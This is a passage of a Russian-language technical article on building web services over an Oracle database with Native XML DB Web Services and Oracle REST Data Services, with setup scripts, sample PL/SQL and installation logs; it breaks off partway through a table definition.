[Альтернативные подходы](#Alternatives)
[Java Servlet](#JavaServlet)
[Database Access Descriptor (PL/SQL Servlet)](#DatabaseAccessDescriptor)
[Заключение](#Conclusion)
Предыстория
-----------
Дано: информационная бизнес-система крупной торговой сети (порядка тысячи розничных магазинов), состоящая из множества компонентов и подсистем. Внутри каждого магазина находится главный сервер — БД Oracle с основной бизнес-логикой. Кассовые узлы управляются отдельным ПО со своей локальной БД. Это ПО периодически забирает данные с главного сервера (через WS SOAP) и отдает обратно результаты продажи (файловый обмен).
Прогресс не стоял на месте, и в магазинах появилось новое оборудование. Данные из этого оборудования периодически должны попадать на главный сервер магазина (период — каждые несколько минут), интеграция обязательно должна проходить через веб-сервис, сообщение должно иметь определенный формат, аутентификация не нужна. Мы посмотрели контракты обмена данными и выяснили, что используемая технология веб-сервисов не позволит построить интеграцию с таким оборудованием. И начались поиски решения…
В итоге было рассмотрено несколько вариантов реализации нужного веб-сервиса, вплоть до написания своего отдельного компонента, который открыл бы для БД Oracle окно в мир HTTP: с одной стороны предоставлял бы веб-сервис, с другой — взаимодействовал бы с БД через JDBC. Сложность в том, что новый компонент, во-первых, нужно было бы установить на тысячу магазинов, и, во-вторых, появилось бы еще одно звено, которое нужно было бы сопровождать. Поэтому приоритетным все же был вариант реализации веб-сервиса встроенными средствами Oracle.
В результате поисков мы обнаружили четыре способа, которые рассмотрим в данной статье:
1. Native Oracle XML DB Web Services
2. Oracle REST Data Service
3. Java Servlet
4. Database Access Descriptor (PL/SQL servlet)
Первые два варианта рассмотрим более детально. Native Oracle XML DB Web Services использовался в нашей системе изначально, то есть достался, так сказать, по наследству. ORDS стал заменой этой устаревшей технологии (несмотря на то, что пришлось все же потрудиться и установить ORDS на тысячу магазинов).
Два других способа — Java Servlet и PL/SQL Servlet — мы рассматривали наряду с ORDS при поиске альтернативы Native Oracle WS, но в проекте применять не стали. Поэтому эти подходы детально рассматривать не будем и ограничимся короткой справкой.
В статье будут представлены некоторые практические примеры реализации веб-сервисов с инструкциями, которые помогут создать работающий сервис.
Native Oracle XML DB Web Services
---------------------------------
### Возможности
Позволяет организовать доступ к БД Oracle через HTTP, используя WS SOAP (версия 1.1):
* Выполнение SQL- или XQuery-запросов через SOAP.
* Вызов хранимых процедур или функций (отдельных или из пакета).
**Плюсы**
* Для поднятия веб-сервиса не требуется установка дополнительного ПО: все необходимое уже имеется в СУБД, включая встроенный HTTP-сервер.
* Для веб-сервиса автоматически формируется описание (WSDL), которое может быть использовано потребителем сервиса для автоматической генерации кода, вызывающего веб-сервис.
* Позволяет быстро реализовать или доработать веб-сервис. По сути, создание нового сервиса — это реализация нового пакета, а создание нового метода сервиса — это написание новой процедуры или функции в пакете.
* Автоматический парсинг входящих XML-запросов. С одной стороны, это плюс, потому что не нужно думать о структуре XML, реализовывать свои парсеры и следить за их актуальностью при изменении спецификации веб-сервиса — все это Oracle делает автоматически. С другой стороны, к этой внутренней кухне преобразования WS-запроса в вызов процедуры Oracle нет никакого доступа —никак нельзя переопределить эти алгоритмы, если вдруг понадобится что-то оптимизировать.
**Минусы**
* Автоматически генерируемый WSDL имеет ряд ограничений, и нет возможности править его вручную, например указать необязательность каких-то атрибутов. Для решения этой проблемы есть обходной путь — вместо автоматически генерируемого использовать сформированный вручную WSDL, но тогда придется написать текст WSDL самостоятельно, придерживаясь правил именования атрибутов.
* Может вести себя непредсказуемо на больших запросах (порядка 50 Мб). В лучшем случае падает с ошибкой нехватки памяти на сервере, в худшем — отдает ответ, в котором потеряна часть сообщения. Вообще, большие запросы при использовании веб-сервисов — это скорее исключение, чем правило, но лучше подстраховаться.
Стоит отметить, что для всех запросов к веб-сервису обязательна аутентификация (из [документации](https://docs.oracle.com/cd/B28359_01/appdev.111/b28369/xdb22pro.htm#i1026724): Basic Authentication: Oracle XML DB supports Basic Authentication, where a client sends the user name and password in clear text in the Authorization header). В Oracle можно настроить анонимный доступ к ресурсам сервера через HTTP — с помощью настройки [Oracle XML DB Protocol Server](https://docs.oracle.com/cd/B28359_01/appdev.111/b28369/xdb22pro.htm#i1026716), но по факту это работает только для GET-запросов, а для POST-запросов аутентификация обязательна. Поскольку Native Oracle WS работает только через POST-запросы, возможности настройки анонимного доступа для этой технологии нет.
### Настройка
Для работы Native Oracle WS понадобится:
1. Настроить встроенный в Oracle HTTP-сервер.
2. Настроить доступ внутри БД Oracle (открыть HTTP-порт).
3. Создать сервлет.
4. Настроить ACL (Access List).
#### Настройка Oracle XML DB HTTP server
HTTP-сервер уже должен работать по умолчанию, но в некоторых случаях может потребоваться дополнительная конфигурация listener — добавление в DESCRIPTION\_LIST следующего блока:
```
(DESCRIPTION=
(ADDRESS=(PROTOCOL=tcp)(HOST=localhost)(PORT=8080))(Presentation=HTTP)(Session=RAW)
)
```
После этого нужно перезапустить listener.
#### Настройка доступа через HTTP
1. Проверка текущего порта для HTTP.
```
SELECT dbms_xdb.gethttpport() AS http_port FROM dual;
```
Значение «0» означает, что доступ через HTTP отключен.
2. Установка порта.
```
BEGIN
-- Установка порта для web-services
dbms_xdb.setHttpPort(8080);
COMMIT;
END;
/
```
#### Создание сервлета для веб-сервиса
Для работы веб-сервиса требуется регистрация сервлета в конфигурации БД.
**Скрипт для создания сервлета**
```
-- Выполнять под SYS
DECLARE
l_servlet_name VARCHAR2(32) := 'orawsv';
BEGIN
-- Регистрация сервлета orawsv для активации Native Web Services
DBMS_XDB.deleteServletMapping(l_servlet_name);
DBMS_XDB.deleteServlet(l_servlet_name);
DBMS_XDB.addServlet( NAME => l_servlet_name
, LANGUAGE => 'C'
, DISPNAME => 'Oracle Query Web Service'
, DESCRIPT => 'Servlet for issuing queries as a Web Service'
, SCHEMA => 'XDB');
DBMS_XDB.addServletSecRole( SERVNAME => l_servlet_name
, ROLENAME => 'XDB_WEBSERVICES'
, ROLELINK => 'XDB_WEBSERVICES');
DBMS_XDB.addServletMapping( PATTERN => '/orawsv/*'
, NAME => l_servlet_name);
COMMIT;
END;
/
```
#### Настройка Access List
Для доступа к Oracle через HTTP нужно добавить правила в конфигурации СУБД. Делается это с помощью встроенных утилит СУБД.
Для настройки ACL понадобятся:
* cкрипт, редактирующий конфигурацию БД (ниже);
* cхема БД, для которой делается настройка.
То есть схема БД, для которой делается настройка ACL, должна быть уже создана. В примерах ниже будут отсылки к этому разделу, в тех местах, где необходимо создать новые схемы БД — для них нужно будет выполнять настройку ACL.
**В схеме SYS выполняем скрипт настройки ACL:**
```
-- Выполнять под SYS
DECLARE
l_ws_user VARCHAR2(32) := 'WS_SOAP_TEST'; -- Указать имя схемы БД, где предполагается развернуть объекты для обработки запросов WS
l_acl VARCHAR2(250) := 'acl_allow_all.xml';
l_tmp VARCHAR2(250);
BEGIN
EXECUTE IMMEDIATE 'GRANT XDB_WEBSERVICES TO "'||l_ws_user||'"';
EXECUTE IMMEDIATE 'GRANT XDB_WEBSERVICES_OVER_HTTP TO "'||l_ws_user||'"';
EXECUTE IMMEDIATE 'GRANT XDB_WEBSERVICES_WITH_PUBLIC TO "'||l_ws_user||'"';
-- Создание списка разрешений сетевого доступа из PL/SQL пакетов
BEGIN
dbms_network_acl_admin.drop_acl(acl => '/sys/acls/'||l_acl);
EXCEPTION
WHEN dbms_network_acl_admin.acl_not_found THEN
NULL;
END;
-- Создание ACL
dbms_network_acl_admin.create_acl( acl => l_acl
, description => 'Allow all connections'
, is_grant => TRUE
, start_date => SYSTIMESTAMP
, end_date => NULL
, principal => 'SYS'
, privilege => 'connect');
dbms_network_acl_admin.assign_acl( acl => l_acl
, host => '*'
, lower_port => NULL
, upper_port => NULL);
-- Права на разрешение (resolve)сетевого имени
dbms_network_acl_admin.add_privilege( acl => l_acl
, principal => l_ws_user
, is_grant => TRUE
, privilege => 'resolve'
, POSITION => NULL
, start_date => SYSTIMESTAMP
, end_date => NULL);
COMMIT;
END;
/
```
Сразу нужно отметить, что настройка ACL требуется при использовании не только Native Oracle WS, но и всех других рассмотренных в данной статье способов создания веб-сервисов.
### Пример веб-сервиса с использованием пакетной процедуры
Нам понадобятся:
* Схема БД, в которой будут находиться объекты для обработки запросов веб-сервиса.
* Таблица для логгирования.
* Пакет с процедурой/функцией.
* Любое средство, позволяющее отправлять веб-запросы. В данном случае использовалось приложение [SOAP UI](https://www.soapui.org/%7C), но можно выбрать любое другое средство, вплоть до командной строки.
Особенности:
* Параметры процедуры должны иметь либо простые, либо объектные типы. Иначе процедура не будет восприниматься как метод веб-сервиса и не будет включена в список методов сервиса.
* Для реализации сложных структур входных или выходных данных нужно использовать объектные типы (пакетные типы использовать нельзя).
Создаем необходимые объекты БД:
1. Схема `WS_TEST`:
```
CREATE USER WS_SOAP_TEST IDENTIFIED BY ws_soap_test QUOTA 200M ON USERS;
GRANT CREATE SESSION, RESOURCE TO ws_soap_test;
```
Сразу добавляем новую схему в ACL. Скрипт в предыдущем разделе.
2. В новой схеме создаем таблицу для логгирования `T_WS_REQ_LOG`:
```
CREATE TABLE T_WS_REQ_LOG
(
id_log NUMBER GENERATED ALWAYS AS IDENTITY,
message VARCHAR2(2000),
proc VARCHAR2(128),
dtm_request TIMESTAMP(6) DEFAULT SYSTIMESTAMP
);
COMMENT ON TABLE T_WS_REQ_LOG IS 'Лог HTTP-запросов';
COMMENT ON COLUMN T_WS_REQ_LOG.id_log IS 'ПК';
COMMENT ON COLUMN T_WS_REQ_LOG.message IS 'Сообщение';
COMMENT ON COLUMN T_WS_REQ_LOG.proc IS 'Процедура';
COMMENT ON COLUMN T_WS_REQ_LOG.dtm_request IS 'Дата/время запроса';
```
3. Пакет с простой процедурой:
```
CREATE OR REPLACE PACKAGE PK_NATIVE_WS_TEST IS
PROCEDURE proc_simple
( a_id INTEGER
, a_data VARCHAR2
, o_result OUT VARCHAR2
);
END PK_NATIVE_WS_TEST;
/
CREATE OR REPLACE PACKAGE BODY PK_NATIVE_WS_TEST IS
PROCEDURE proc_simple
( a_id INTEGER
, a_data VARCHAR2
, o_result OUT VARCHAR2
)
AS
BEGIN
INSERT INTO t_ws_req_log (message, proc)
VALUES ('ID='||a_id||'; DATA='||a_data, 'proc_simple')
RETURNING id_log INTO o_result;
END proc_simple;
END PK_NATIVE_WS_TEST;
/
```
Простейший веб-сервис создан и готов к работе.
Для доступа к сервису нужно использовать URL следующего формата:
```
http://[server]:[port]/[servlet_name]/[DB_SCHEMA]/[WS_OBJ]?wsdl
```
Где:
**[server]** — доменное имя или IP-адрес сервера БД Oracle
**[port]** — порт для доступа через HTTP, указанный в разделе «Настройка доступа через HTTP»
**[servlet\_name]** — имя сервлета, указанное в разделе «Создание сервлета для веб-сервиса»
**[DB\_SCHEMA]** — имя схемы БД (в верхнем регистре)
**[WS\_OBJ]** — имя сервиса (в верхнем регистре), которое равно имени объекта БД, в нашем случае – имени пакета
Обратите внимание, что в URL регистр важен!
Пример ссылки:
```
http://my.server:8080/orawsv/WS_SOAP_TEST/PK_NATIVE_WS_TEST?wsdl
```
Если перейти по этой ссылке в браузере, получим автоматически созданный на основе нашего пакета WSDL:
**WSDL**
```
Oracle Web Service
```
Для проверки сервиса создаем новый SOAP-проект в SOAP UI. В качестве URL указываем адрес из примера выше.
При открытии `Request 1` видим, что шаблон запроса уже сформирован автоматически по указанному WSDL.
Сразу же добавляем Basic-авторизацию для запроса — логин и пароль такие же, как при подключении в БД.
Пример запроса и ответа. Обратите внимание, что в автоматически сформированный запрос вручную добавлена строка . Дело в том, что в Oracle 12c есть баг: OUT-переменные не добавляются в WSDL для Native Oracle WS).
Результат вызова видим в таблице лога.
### Выводы
Технологию Native Oracle XML DB Web Services можно использовать как промышленное решение при условии, что на этот веб-сервис нет большой нагрузки (один запрос в несколько секунд). Этот вариант подойдет, когда у потребителей нет жестких требований к веб-сервису (его атрибутам, структурам данных, логике обработки) и нет строгого заранее определенного контракта. Если же нужно создать веб-сервис по заранее определенному WSDL (как в нашем случае с новым оборудованием), то технология Native Oracle WS окажется непригодна.
Oracle REST Data Service
------------------------
Начиная с версии 11.1 в Oracle появилась полноценная поддержка RESTful в виде отдельного модуля, называемого Oracle REST Data Service (ORDS).
ORDS — это Java-приложение, которое позволяет создавать RESTful API для базы данных Oracle, используя SQL и PL/SQL. Является альтернативой использованию Oracle HTTP Server и mod\_plsql. По сути ORDS — это HTTP-интерфейс между внешним миром и БД Oracle. Этот интерфейс позволяет замкнуть входящие HTTP-запросы на какой-либо объект базы данных — таблицу или PL/SQL-процедуру.
Все, что требуется сделать, — это установить, настроить и запустить ORDS для требуемой БД. Дальнейший процесс создания REST-сервисов сводится к написанию кода на PL/SQL (или даже кликанью мышкой в IDE, если код писать лень).
Для установки ORDS не требуется никаких дополнительных лицензий.
Требования:
* Java JDK 8 или выше;
* Oracle 11.1 или выше (также поддерживается Oracle 11 XE Release 2).
Поддерживается несколько вариантов развертывания ORDS:
* автономный (standalone) режим;
* на сервере приложений (Oracle WebLogic Server, Apache Tomcat).
### Возможности
ORDS позволяет:
* Организовать доступ к ресурсам в стиле RESTful.
* Построить взаимодействие в стиле «Вызов удаленной процедуры» (RPC-style interaction).
Проще говоря, с помощью ORDS можно открыть доступ через HTTP к определенным объектам БД — таблицам, процедурам, функциям, пакетам.
**В первом случае** имеем дело с ресурсами в том смысле, как они понимаются в архитектурном стиле RESTful. Каждый ресурс определяется уникальным URI, а операции с ресурсами (CRUD — создание, чтение, изменение, удаление) определяются операциями из HTTP-запроса: PUT, POST, GET, DELETE. Например, если ресурс — это запись в таблице сотрудников, то эта запись будет доступна по URI вида:
```
GET https://server:port/ords/workspace/hr/employees/7369
```
Здесь в URI указывается имя схемы БД, имя таблицы и ID записи в таблице. Таким образом, этот HTTP-запрос на самом деле выполняет операцию выбора (SELECT) из указанной таблицы. С остальными операциями (добавление, изменение, удаление) принцип общения такой же: в URI указывается путь к ресурсу, а в теле запроса — дополнительные параметры, например значения полей для вставки записи в таблицу.
**Во втором случае** вместо обращения к ресурсу напрямую используется вызов процедуры, которая может делать все то же самое, что и в первом случае (CRUD), а также исполнять любую другую логику, реализующую нужный бизнес-процесс. Вызов процедуры из пакета может быть сделан с помощью HTTP-запроса такого формата:
```
http://localhost:8080/ords/my_schema/my_pkg/MY_PROC
```
Параметры для процедуры передаются в теле запроса в виде JSON-структур формата `{"param" : "value"}`. Такой же подход используется и при применении Native Oracle WS, рассмотренном выше, но в случае REST-сервисов нет ограничений, накладываемых протоколом SOAP.
**Плюсы**
* Гибкий механизм, позволяющий реализовать веб-сервисы любой сложности.
* Простота реализации: для превращения PL/SQL-процедуры в веб-сервис нужно выполнить всего несколько типовых команд. А с использованием SQL Developer создание REST API превращается в кликанье мышкой с минимумом написания кода.
* Возможность реализации веб-сервиса без аутентификации.
**Минус**
* ORDS не входит в стандартную поставку Oracle — его нужно устанавливать отдельно для каждого сервера (дополнительных лицензий, как уже говорилось, не требуется). Это может быть проблемой, если у вас имеются тысячи серверов БД.
### Настройка
ORDS можно запустить в двух режимах: через сервер приложений или в автономном (standalone) режиме.
В данной статье рассматривается только вариант запуска в standalone-режиме.
Для работы ORDS нужно:
1. Настроить параметры перед установкой.
2. Выполнить установку ODRS.
3. Запустить ORDS.
4. Настроить ACL (для нужной схемы БД).
#### Настройка параметров
В дистрибутиве ORDS имеется файл с параметрами, который по умолчанию выглядит так:
```
db.hostname=
db.port=
db.servicename=
db.sid=
db.username=APEX_PUBLIC_USER
migrate.apex.rest=false
rest.services.apex.add=
rest.services.ords.add=true
schema.tablespace.default=SYSAUX
schema.tablespace.temp=TEMP
standalone.http.port=8080
standalone.static.images=
user.tablespace.default=USERS
user.tablespace.temp=TEMP
```
Описание параметров можно найти в [документации](https://docs.oracle.com/en/database/oracle/oracle-rest-data-services/19.1/aelig/installing-REST-data-services.html#GUID-F869424D-9A92-432F-B2AA-99F879FAB4D6)
Параметры для standalone-режима:
| | |
| --- | --- |
| **Параметр** | **Описание** |
| `db.hostname` | Имя или IP-адрес сервера БД Oracle |
| `db.port` | Порт БД (например, 1521) |
| `db.servicename` | Servicename базы данных |
| `db.username` | Имя пользователя PL/SQL-шлюза. По умолчанию = APEX\_PUBLIC\_USER, но в примере не планируется использовать APEX, поэтому можно не заполнять этот параметр |
| `db.password` | Пароль пользователя (тоже не заполняем) |
| `migrate.apex.rest` | Переход RESTful сервисов APEX на ORDS. Ставим false, если не используется APEX |
| `rest.services.apex.add` | Конфигурировать ORDS для использования в APEX |
| `rest.services.ords.add` | Установить схему БД для ORDS (ORDS\_PUBLIC\_USER и ORDS\_METADATA). Значение должно быть true |
| `schema.tablespace.default` | Табличное пространство по умолчанию для схемы ORDS\_METADATA |
| `schema.tablespace.temp` | Временное табличное пространство для схемы ORDS\_METADATA |
| `standalone.http.port` | Порт, на котором будет работать ORDS. Этот порт будет использоваться в URI для доступа к WS |
| `user.tablespace.default` | Табличное пространство по умолчанию для схемы ORDS\_PUBLIC\_USER |
| `user.tablespace.temp` | Временное табличное пространство для схемы ORDS\_PUBLIC\_USER |
В итоге содержимое файла должно получиться примерно таким:
```
db.hostname=your_server_host_name
db.port=1521
db.servicename=your_db_servicename
migrate.apex.rest=false
rest.services.apex.add=false
rest.services.ords.add=true
schema.tablespace.default=SYSAUX
schema.tablespace.temp=TEMP
standalone.http.port=8888
standalone.static.images=
user.tablespace.default=USERS
user.tablespace.temp=TEMP
```
Настройка необходимых параметров завершена, можно приступать к установке.
#### Установка
Выполняем в ОС команду:
```
java -jar ords.war
```
По умолчанию файл конфигурации берется из каталога `params`, расположенного рядом с `ords.war`. Можно явно указать путь к этому файлу, используя параметр `--parameterFile`:
```
java -jar ords.war --parameterFile /path/to/params/myown_params.properties
```
В диалоге установки нужно сделать следующее:
1. Указываем путь к каталогу для сохранения конфигурации (в примере указан `conf` — в результате в том же каталоге, где находится файл `ords.war`, будет создан каталог `conf`, в котором будут созданы файлы с конфигурацией ORDS).
2. После появления указания Enter the database password for ORDS\_PUBLIC\_USER водим пароль для схемы `ORDS_PUBLIC_USER`. Под этим пользователем ORDS будет подключаться к БД.
3. После появления указания Enter 1 if you want to use PL/SQL Gateway or 2 to skip this step отвечаем «2», так как мы не собираемся использовать APEX и нам не нужно делать миграцию с `mod_plsql`.
4. После появления указания Enter 1 if you wish to start in standalone mode or 2 to exit [1] отвечаем «1».
5. После появления указания Enter 1 if using HTTP or 2 if using HTTPS [1] отвечаем 1.
**Диалог установки**
`D:\ords-19.2.0.199.1647>java -jar ords.war install
This Oracle REST Data Services instance has not yet been configured.
Please complete the following prompts
Enter the location to store configuration data: conf
Enter the database password for ORDS_PUBLIC_USER:
Confirm password:
ёхэ 03, 2019 2:47:49 PM oracle.dbtools.rt.config.setup.SchemaSetup getInstallOrUpgrade
WARNING: Failed to connect to user ORDS_PUBLIC_USER jdbc:oracle:thin:@//***YOUR_HOST_NAME.DOMAIN***:1521/***YOUR_SERVICE_NAME.DOMAIN***
Enter 1 if you want to use PL/SQL Gateway or 2 to skip this step.
If using Oracle Application Express or migrating from mod_plsql then you must enter 1 [1]:2
ёхэ 03, 2019 2:48:32 PM
INFO: reloaded pools: []
Enter 1 if you wish to start in standalone mode or 2 to exit [1]:
Enter 1 if using HTTP or 2 if using HTTPS [1]:
2019-09-03 14:48:49.754:INFO::main: Logging initialized @4276887ms to org.eclipse.jetty.util.log.StdErrLog
ёхэ 03, 2019 2:48:49 PM
INFO: HTTP and HTTP/2 cleartext listening on port: 8082
ёхэ 03, 2019 2:48:50 PM
INFO: Disabling document root because the specified folder does not exist: D:\ords-19.2.0.199.1647\conf\ords\standalone\doc_root
Exception in thread "main" java.lang.reflect.InvocationTargetException
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
at java.lang.reflect.Method.invoke(Unknown Source)
at oracle.dbtools.jarcl.Entrypoint.invoke(Entrypoint.java:66)
at oracle.dbtools.jarcl.Entrypoint.main(Entrypoint.java:89)
Caused by: java.lang.OutOfMemoryError: Java heap space
at java.util.Arrays.copyOf(Unknown Source)
at java.lang.AbstractStringBuilder.ensureCapacityInternal(Unknown Source)
at java.lang.AbstractStringBuilder.append(Unknown Source)
at java.lang.StringBuilder.append(Unknown Source)
at java.lang.StringBuilder.append(Unknown Source)
at java.util.AbstractMap.toString(Unknown Source)
at java.lang.String.valueOf(Unknown Source)
at java.lang.StringBuilder.append(Unknown Source)
at oracle.dbtools.jarcl.zip.ZipIndex.toString(ZipIndex.java:166)
at java.lang.String.valueOf(Unknown Source)
at java.lang.StringBuilder.append(Unknown Source)
at oracle.dbtools.jarcl.JarClassLoader.toString(JarClassLoader.java:51)
at org.eclipse.jetty.server.ClassLoaderDump.dump(ClassLoaderDump.java:67)
at org.eclipse.jetty.util.component.Dumpable.dumpObjects(Dumpable.java:225)
at org.eclipse.jetty.util.component.ContainerLifeCycle.dumpObjects(ContainerLifeCycle.java:746)
at org.eclipse.jetty.server.handler.ContextHandler.dump(ContextHandler.java:259)
at org.eclipse.jetty.util.component.Dumpable.dumpObjects(Dumpable.java:162)
at org.eclipse.jetty.util.component.ContainerLifeCycle.dumpObjects(ContainerLifeCycle.java:746)
at org.eclipse.jetty.util.component.ContainerLifeCycle.dump(ContainerLifeCycle.java:701)
at org.eclipse.jetty.util.component.Dumpable.dump(Dumpable.java:62)
at org.eclipse.jetty.util.component.ContainerLifeCycle.dump(ContainerLifeCycle.java:684)
at oracle.dbtools.standalone.StandaloneConfiguration.start(StandaloneConfiguration.java:241)
at oracle.dbtools.standalone.Standalone.execute(Standalone.java:508)
at oracle.dbtools.cmdline.DefaultCommand.execute(DefaultCommand.java:137)
at oracle.dbtools.cmdline.Commands.execute(Commands.java:207)
at oracle.dbtools.cmdline.Commands.main(Commands.java:163)
at oracle.dbtools.cmdline.Commands.main(Commands.java:368)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
at java.lang.reflect.Method.invoke(Unknown Source)
at oracle.dbtools.jarcl.Entrypoint.invoke(Entrypoint.java:66)`
В результате будет создан каталог с конфигурацией ORDS, а в БД появятся служебные схемы для ORDS.
Cм. также: [Install Oracle REST Data Services 3.0.X in under 5 minutes](https://blog.cdivilly.com/2015/03/11/install-ords-3.0.0/).
#### Запуск
Запуск в автономном режиме выполняется командой:
```
java -jar ords.war standalone
```
**Диалог запуска**
`D:\ords-19.2.0.199.1647>java -jar ords.war standalone
2019-09-03 15:52:45.825:INFO::main: Logging initialized @2079ms to org.eclipse.jetty.util.log.StdErrLog
ёхэ 03, 2019 3:52:45 PM
INFO: HTTP and HTTP/2 cleartext listening on port: 8082
ёхэ 03, 2019 3:52:45 PM
INFO: Disabling document root because the specified folder does not exist: D:\ords-19.2.0.199.1647\conf\ords\standalone\doc_root
2019-09-03 15:52:47.124:INFO:oejs.Server:main: jetty-9.4.z-SNAPSHOT; built: 2019-05-02T09:46:34.874Z; git: 14f32d50076f2b706f41a33066eb364d8492e199; jvm 1.8.0_221-b11
2019-09-03 15:52:47.179:INFO:oejs.session:main: DefaultSessionIdManager workerName=node0
2019-09-03 15:52:47.179:INFO:oejs.session:main: No SessionScavenger set, using defaults
2019-09-03 15:52:47.180:INFO:oejs.session:main: node0 Scavenging every 660000ms
ёхэ 03, 2019 3:52:48 PM
INFO: Configuration properties for: |apex|pu|
db.hostname=***YOUR_HOST_NAME.DOMAIN***
db.password=******
db.port=1521
db.servicename=***YOUR_SERVICE_NAME.DOMAIN***
db.username=ORDS_PUBLIC_USER
resource.templates.enabled=true
ёхэ 03, 2019 3:52:48 PM
WARNING: *** jdbc.MaxLimit in configuration |apex|pu| is using a value of 10, this setting may not be sized adequately for a production environment ***
ёхэ 03, 2019 3:52:48 PM
WARNING: *** jdbc.InitialLimit in configuration |apex|pu| is using a value of 3, this setting may not be sized adequately for a production environment ***
ёхэ 03, 2019 3:52:50 PM
INFO: Oracle REST Data Services initialized
Oracle REST Data Services version : 19.2.0.r1991647
Oracle REST Data Services server info: jetty/9.4.z-SNAPSHOT
2019-09-03 15:52:50.484:INFO:oejsh.ContextHandler:main: Started o.e.j.s.ServletContextHandler@d56d67{/ords,null,AVAILABLE}
2019-09-03 15:52:50.658:INFO:oejs.AbstractConnector:main: Started ServerConnector@12325ad{HTTP/1.1,[http/1.1, h2c]}{0.0.
0.0:8082}
2019-09-03 15:52:50.659:INFO:oejs.Server:main: Started @6914ms`
После этого ORDS запущен и работает. Адрес веб-сервиса будет равен http://<имя\_хоста>:/ords/…, где <имя\_хоста> — имя компьютера, на котором запущен ORDS (оно не обязательно должно совпадать с именем сервера БД, то есть ORDS можно запустить на другом хосте), — порт, указанный в конфигурации ORDS.
При желании можно оформить скрипт для автоматического запуска ORDS при старте ОС.
#### Настройка доступа
И последний шаг — настройка ACL. Действия аналогичны [тем](#NativeOracleSetup-Step4), что и при использовании Native Oracle WS.
Выполнять этот шаг нужно после того, как будет создана схема БД, поэтому в примерах ниже будет отдельно указано, когда нужно выполнить данную настройку. Пока можно считать, что все предварительные действия выполнены, и приступать к примерам.
### Пример 1: Обработчик для POST-запроса
В качестве примера рассмотрим вариант реализации RPC-style interaction, то есть сделаем метод веб-сервиса, обработчиком которого будет пакетная процедура.
Собственно, именно в таком варианте работа с ORDS была реализована в нашем проекте для торговой сети, и результат оправдал свои ожидания. Получился быстрый и универсальный способ создания новых методов веб-сервисов для разных бизнес-процессов — от работы с оборудованием до API для сайтов.
Как уже упоминалось выше, поддержка ORDS включена также в SQL Developer (IDE для баз данных, разрабатываемая Oracle). В SQL Developer создание веб-сервисов доступно прямо из пунктов меню или контекстного меню.
В этой статье примеры сделаны с помощью SQL Developer (версия 18), но также прилагается PL/SQL-код, который выполняется в БД в результате действий в IDE.
Версия БД, на которой делались эксперименты:
```
SQL> SELECT v.BANNER FROM v$version v;
BANNER
--------------------------------------------------------------------------------
Oracle DATABASE 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production
PL/SQL Release 12.2.0.1.0 - Production
CORE 12.2.0.1.0 Production
TNS FOR Linux: Version 12.2.0.1.0 - Production
NLSRTL Version 12.2.0.1.0 - Production
```
#### Создание тестового пользователя для WS
Для примеров нам снова понадобится новая схема — создаем ее:
```
CREATE USER WS_TEST IDENTIFIED BY ws_test QUOTA 200M ON USERS;
GRANT CREATE SESSION, RESOURCE TO ws_test;
```
#### Настройка схемы БД
После того, как схема создана, необходимо сделать ее доступной через ORDS.
Для этого:
1. В SQL Developer создаем подключение для `WS_TEST`.
2. В списке подключений вызываем контекстное меню для нового подключения. Выбираем **REST Services → Enable REST Services...**:
3. В диалоге ставим галку напротив **Enable schema** (также здесь можно изменить параметр «Псевдоним схемы» (**Schema alias**), если нужно, чтобы вместо имени схемы `ws_test` в URI отображался другой текст):
4. Нажав **«Далее»**, увидим PL/SQL-код, который в итоге будет выполнен в БД (и который можно написать самостоятельно, не пользуясь IDE):
Листинг:
```
BEGIN
ORDS.ENABLE_SCHEMA( p_enabled => TRUE
, p_schema => 'WS_TEST'
, p_url_mapping_type => 'BASE_PATH'
, p_url_mapping_pattern => 'ws_test'
, p_auto_rest_auth => FALSE);
COMMIT;
END;
/
```
#### Создание модуля и шаблона
Далее нужно создать модуль и шаблон для ресурса.
**Модуль** — это структурная единица, которая позволяет сгруппировать несколько логически связанных шаблонов ресурсов.
**Шаблон** — конкретный веб-сервис, обслуживающий определенный набор методов для ресурса.
В [источнике](https://docs.oracle.com/en/database/oracle/oracle-rest-data-services/19.1/aelig/developing-REST-applications.html#GUID-50E24524-32BB-470D-8015-6C25C9B47A44):
***Resource module:** An organizational unit that is used to group related resource templates.
**Resource template:** An individual RESTful service that is able to service requests for some set of URIs (Universal Resource Identifiers). The set of URIs is defined by the URI Pattern of the Resource Template.*
Например, для интернет-магазина модуль можно назвать `shop` — в этом модуле будут объединены все API магазина. Шаблонами могут быть конкретные ресурсы, например, заказ (шаблон `order`), каталог товаров (шаблон `item`), оплата (шаблон `payment`) и т. д.
Для создания модуля и шаблона нужно выполнить такие шаги:
1. В дереве объектов открываем раздел REST Data Services, вызываем контекстное меню в разделе **Modules**, выбираем **New module...**:
2. В диалоге создания модуля указываем имя модуля (`shop`), URI prefix (тоже указываем `shop` — ниже в примере сразу же видим, какой будет шаблон адреса веб-сервиса), ставим галку напротив **Publish**, жмем **«Следующий >»**:
3. В следующем диалоге указываем имя шаблона, например `order`, и снова жмем **«Следующий >»**.
В последнем диалоге видим все введенные параметры модуля и шаблона. На вкладке **SQL** можно увидеть PL/SQL-код, который будет выполнен в БД при нажатии **«Готово»**:
Для созданного модуля `shop` можно добавить еще шаблонов — также из дерева объектов, вызвав контекстное меню и выбрав пункт **Add Template...**.
**Листинг кода для создания модуля и шаблона**
```
BEGIN
ORDS.DEFINE_MODULE( p_module_name => 'shop'
, p_base_path => 'shop'
, p_items_per_page => 25
, p_status => 'PUBLISHED'
, p_comments => NULL);
ORDS.DEFINE_TEMPLATE( p_module_name => 'shop'
, p_pattern => 'order'
, p_priority => 0
, p_etag_type => 'HASH'
, p_etag_query => NULL
, p_comments => NULL);
COMMIT;
END;
/
```
#### Создание обработчика HTTP-запроса
Теперь нам нужно создать обработчик HTTP-запроса для нашего сервиса.
Сначала нам понадобится создать объекты БД, которые будут содержать логику обработки запроса.
Нам потребуются таблица для логгирования и пакет, в котором будет код обработчика.
**Создаем таблицу с помощью скрипта:**
```
CREATE TABLE T_WS_LOG
(
id_log NUMBER GENERATED ALWAYS AS IDENTITY,
message VARCHAR2(2000),
request_header VARCHAR2(2000),
request_body CLOB,
response_header VARCHAR2(2000),
response_body CLOB,
